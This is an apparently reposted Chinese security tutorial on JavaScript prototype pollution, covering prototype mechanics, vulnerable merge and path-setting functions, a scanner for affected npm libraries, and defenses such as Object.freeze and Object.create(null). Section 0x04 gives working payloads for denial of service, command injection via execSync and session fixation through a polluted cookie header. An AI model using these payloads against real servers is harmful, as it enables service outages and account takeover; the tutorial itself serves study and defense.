原型鏈污染漏洞(一)


0x01 深入了解JavaScript

對象與類

JavaScript一切皆對象,所以先來了解了解對象

創造一個最簡單的js對象如:

var obj = {};

創建obj這個對象時,並沒有賦予他任何屬性或者方法,但是他會具有一些內置屬性和方法,像__proto__,constructor,toString等.

為了探究這些內置屬性是怎么來的,接下來需要看一下JavaScript中類的一些機制

JavaScript中的類從一個函數開始:

  1. 函數對象:
function MyClass() {
    console.log("lonmar");
}
var inst = new MyClass();
//以上代碼創建了一個MyClass函數,同時MyClass也是一個類,可以像別的語言中那樣為這個類實例化一個對象inst

觀察以上代碼執行結果可以發現,在實例化inst的時候,MyClass()也同樣執行了.

這可以聯想到構造函數,構造函數在的特性就是在new一個對象的時候執行.

所以MyClass()函數MyClass這個類的關系就很明顯了,前者是后者的構造函數

通過constructor這個屬性可以查看對象的構造函數

下面了解下 __proto__prototype

先拋出結論

  1. prototype是一個類的屬性,所有類對象在實例化的時候將會擁有prototype中的屬性和方法
  2. 一個對象的__proto__屬性,指向這個對象所在的類的prototype屬性
  3. 類在運行程序運行時是可以修改的

再看實例:

下面這段代碼通過prototype屬性,為Person類添加了getInfo()這個屬性.

其實例化對象也都具有這個屬性

function Person(name,age) {
    this.name = name;
    this.age = age;
    this.greed = function(){
		console.log("hello,I am",this.name);
    }
    console.log("I am Person Class");
}

Person.prototype.getInfo = function(){
    return this.name + "," + this.age;
}

var lonmar=new Person('lonmar',10);//I am Person Class
lonmar.greed();//hello,I am lonmar
lonmar.getInfo();//'lonmar,10'                                                       

下面其實是JavaScript中繼承的一種寫法,通過修改原型鏈來繼承

Student類繼承了Person類,但也可以看出只是繼承部分屬性,如constructor就沒有被繼承

然后通過prototype修改的屬性也被繼承了!

function Student(){
    console.log("I am Student Class")
}

Student.prototype = new Person();//I am Person Class;erson { name: undefined, age: undefined, greed: [Function] }
Student.prototype.age = 10;//10
Student.prototype.name = "lonmar";//lonmar
var stud = new Student();
stud.getInfo();//'lonmar,10'

通過下面的實例又可以看出,Student類的prototype實際上指向一個Person的實例化對象

stud的__proto__也指向一個對象,並且stud.__proto__ =Student.prototype

也可以依次向前查找__proto__屬性,可以發現奇妙的關系.(最終是null的)

最后,總結一下:

  1. JavaScript是一個神奇的語言,一切皆對象.
  2. 對象都有一個__proto__屬性,指向它的類的``prototype`
  3. 類是通過函數來定義的,定義的這個函數又是這個類的constructor屬性值
  4. 每個構造函數constructor 都有一個原型對象prototype
  5. JavaScript使用prototype鏈實現繼承機制
  6. 子類是可以通過prototype鏈修改其父類屬性,以及爺爺類的屬性值的

0x02 什么是原型鏈污染

做一個簡單的實驗,其實也是對前面的一個總結

// foo是一個簡單的JavaScript對象
let foo = {bar: 1}

// foo.bar 此時為1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由於查找順序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此時再用Object創建一個空的zoo對象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

zoo.bar的結果是2;

因為前面修改了foo的原型foo.__proto__.bar = 2,而foo是一個Object類的實例,所以實際上是修改了Object這個類,給這個類增加了一個屬性bar,值為2。

后來,又用Object類創建了一個zoo對象let zoo = {},zoo對象自然也有一個bar屬性了。

那么,在一個應用中,如果攻擊者控制並修改了一個對象的原型,那么將可以影響所有和這個對象來自同一個類、父祖類的對象。這種攻擊方式就是原型鏈污染

0x03 哪些情況下原型鏈會被污染

1. 最顯然的情況

obj[a][b] = value
obj[a][b][c] = value

如果控制了a,b,c及value就可以進行原型鏈污染的攻擊,

可以控制a=__proto__

2.利用某些API來進行攻擊

  • Object recursive merge
merge (target, source)
	foreach property of source
		if property exists and is an object on both the target and the source
			merge(target[property], source[property])
		else
			target[property] = source[property]

這種情況下,__proto__必須被視為key才能成功

對於

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
//1. 
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)//undefined

//2. 
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)//2

1和2兩種情況是不一樣的.

因為前面代碼中 __proto__已經代表o2的原型了 ,沒有被看成一個key

后面的代碼中經過JSON.parse解析,__proto__就代表了一個key

詳情可參考https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x04

  • Property definition by path
theFunction(object, path, value)

如果攻擊者可以控制path,如path=__proto__.myValue.就可以進行污染

  • Object clone
function clone(obj) {
	return merge({}, obj);
}

3. 找出易受攻擊的API

在https://github.com/HoLyVieR/prototype-pollution-nsec18這個項目的paper里面,作者給了一個找易受攻擊API的腳本.

node xx.js library-name

var process = require('process');

//check是否收到污染
function check() {
	if ({}.test == "123" || {}.test == 123) {
		delete Object.prototype.test;
		return true;
	}
	return false;
}

function run(fnct, sig, name, totest) {
	// Reinitialize to avoid issue if the previous function changed attributes.
	BAD_JSON = JSON.parse('{"__proto__":{"test":123}}');

	try {
		fnct(totest);
	} catch (e) {}

	if (check()) {
		console.log("Detected : " + name + " (" + sig + ")");
	}
}

var BAD_JSON = {};//NULL OBJ
var args = process.argv.slice(2);//node xx.js param1 param2 parma3獲取所有參數 返回數組[param1,param2,param3]

//忽略異常
process.on('uncaughtException', function(err) { });

var pattern = [{
	fnct : function (totest) {
		totest(BAD_JSON);
	},
	sig: "function (BAD_JSON)"
},{
	fnct : function (totest) {
		totest(BAD_JSON, {});
	},
	sig: "function (BAD_JSON, {})"
},{
	fnct : function (totest) {
		totest({}, BAD_JSON);
	},
	sig: "function ({}, BAD_JSON)"
},{
	fnct : function (totest) {
		totest(BAD_JSON, BAD_JSON);
	},
	sig: "function (BAD_JSON, BAD_JSON)"
},{
	fnct : function (totest) {
		totest({}, {}, BAD_JSON);
	},
	sig: "function ({}, {}, BAD_JSON)"
},{
	fnct : function (totest) {
		totest({}, {}, {}, BAD_JSON);
	},
	sig: "function ({}, {}, {}, BAD_JSON)"
},{
	fnct : function (totest) {
		totest({}, "__proto__.test", "123");
	},
	sig: "function ({}, BAD_PATH, VALUE)"
},{
	fnct : function (totest) {
		totest({}, "__proto__[test]", "123");
	},
	sig: "function ({}, BAD_PATH, VALUE)"
},{
	fnct : function (totest) {
		totest("__proto__.test", "123");
	},
	sig: "function (BAD_PATH, VALUE)"
},{
	fnct : function (totest) {
		totest("__proto__[test]", "123");
	},
	sig: "function (BAD_PATH, VALUE)"
},{
	fnct : function (totest) {
		totest({}, "__proto__", "test", "123");
	},
	sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)"
},{
	fnct : function (totest) {
		totest("__proto__", "test", "123");
	},
	sig: "function (BAD_STRING, BAD_STRING, VALUE)"
}]

if (args.length < 1) {
	console.log("First argument must be the library name");
	exit();
}

try {
	var lib = require(args[0]);
} catch (e) {
	console.log("Missing library : " + args[0] );
	exit();
}

var parsedObject = [];

function exploreLib(lib, prefix, depth) {
	if (depth == 0) return;
	if (parsedObject.indexOf(lib) !== -1) return;

	parsedObject.push(lib);

	for (var k in lib) {
		if (k == "abort") continue;
		if (k == "__proto__") continue;
		if (+k == k) continue;

		console.log(k);
	
		if (lib.hasOwnProperty(k)) {
			for (p in pattern) {
				if (pattern.hasOwnProperty(p)) {
					run(pattern[p].fnct, pattern[p].sig, prefix + "." + k, lib[k]);
				}
			}

			exploreLib(lib[k], prefix + "." + k, depth - 1);
		}
	}

	if (typeof lib == "function") {
		for (p in pattern) {
			if (pattern.hasOwnProperty(p)) {
				run(pattern[p].fnct, pattern[p].sig, args[0], lib);
			}
		}
	}
}

exploreLib(lib, args[0], 5);

下面也是paper里面給出的幾個library

1. Merge function

  • hoek
    hoek.merge
    hoek.applyToDefaults
    Fixed in version 4.2.1
    Fixed in version 5.0.3

  • lodash
    lodash.defaultsDeep
    lodash.merge
    lodash.mergeWith
    lodash.set
    lodash.setWith
    Fixed in version 4.17.5

  • merge
    merge.recursive
    Not fixed. Package maintainer didn’t respond to the disclosure.

  • defaults-deep
    defaults-deep
    Fixed in version 0.2.4

  • merge-objects
    merge-objects
    Not fixed. Package maintainer didn’t respond to the disclosure.

  • assign-deep
    assign-deep
    Fixed in version 0.4.7

  • merge-deep
    Merge-deep
    Fixed in version 3.0.1

  • mixin-deep
    mixin-deep
    Fixed in version 1.3.1

  • deep-extend
    deep-extend
    Not fixed. Package maintainer didn’t respond to the disclosure.

  • merge-options
    merge-options
    Not fixed. Package maintainer didn’t respond to the disclosure.

  • deap
    deap.extend
    deap.merge
    deap
    Fixed in version 1.0.1

  • merge-recursive

    merge-recursive.recursive

    Not fixed. Package maintainer didn’t respond to the disclosure.

2. Clone

  • deap
    deap.clone
    Fixed in version 1.0.1

3. Property definition by path

  • lodash
    lodash.set
    lodash.setWith
  • pathval
    pathval.setPathValue
    pathval
  • dot-prop
    dot-prop.set
    dot-prop
  • object-path
    object-path.withInheritedProps.ensureExists
    object-path.withInheritedProps.set
    object-path.withInheritedProps.insert
    object-path.withInheritedProps.push
    object-path

0x04 Attacking

1. 拒絕服務

JS中的Object默認帶了一些屬性,如toString和valueOf,利用原型鏈污染他們,可能導致整個程序停止運行

toString()將Object轉換為字符串格式返回,valueOf()返回數值或者bool值等

{}__proto__.toString="123"

{}__proto__.valueOf="123"

eg: server.js

var _ = require('lodash');
var express = require('express');
var app = express();
var bodyParser = require('body-parser');

app.use(bodyParser.json({ type: 'application/*+json' }))
app.get('/', function (req, res) {
res.send("Use the POST method !");
});

app.post('/', function (req, res) {
_.merge({}, req.body);
res.send(req.body);
});

app.listen(3000, function () {
console.log('Example app listening on port 3000!')
});

payload{"__proto__":{"toString":"123","valueOf":"It works !"}}

2. for循環污染

就像下面的for循環,如果commands里面有,就可以執行惡意代碼,污染等

{
    “__proto__”:{“my malicious command”:”echo yay > /tmp/evil”}
}
var execSync = require('child_process').execSync;

function runJobs() {
	var commands = {
	"script-1" : "/bin/bash /opt/my-script-1.sh",
	"script-2" : "/bin/bash /opt/my-script-2.sh"
	};

	for (var scriptname in commands) {
		console.log("Executing " + scriptname);
		execSync(commands[scriptname]);
	}
}

3. 屬性注入

注意到,如果污染了某個類的prototype,那么那些沒有被顯式定義的對象都會受到影響.

NodeJS 的 http模塊支持很多header同一個name.

所以如果污染了如cookie等.會造成很有意思的攻擊.可能導致所有用戶公用一個session

{“__proto__”:{“cookie”:”sess=fixedsessionid; garbage=”}}

0x05 針對Prototype pollution的防御

1. 原型凍結

ECMAScript5標准中添加的一個特性.

使用該特性后,對於對象屬性的修改都將失敗

eg:

Object.freeze() 凍結對象, 凍結的對象無法再更改.我們無法添加,編輯或刪除其中的屬性

Object.freeze(Object.prototype);
Object.freeze(Object);
({}).__proto__.test = 123
({}).test // this will be undefined

2. Schema validation of JSON input

NPM上的多個庫(例如:avj)都為JSON數據提供了模式驗證

可以在json規則里添加additionalProperties=false

3. 使用MAP代替Object

MAP是EcmaScript 6標准中新增的

需要使用key/value模式時,盡量用MAP

1.js創建map對象
var map = new Map();
2.將鍵值對放入map對象
map.set("key",value)
map.set("key1",value1)
map.set("key2",value2)
3.根據key獲取map值
map.get(key)
4.刪除map指定對象
delete map[key]
或
map.delete(key)
5.循環遍歷map
map.forEach(function(key){
  console.log("key",key)  //輸出的是map中的value值
})

4.Object.create(null)

可以用JavaScript創建沒有任何原型的對象 : Object.create(null),用Object.creat創建的對象沒有__proto__constructor 以這種方式創建對象可以幫助減輕原型污染攻擊

var obj = Object.create(null);
obj.__proto__ // undefined
obj.constructor // undefined

參考:

  1. https://github.com/HoLyVieR/prototype-pollution-nsec18
  2. https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM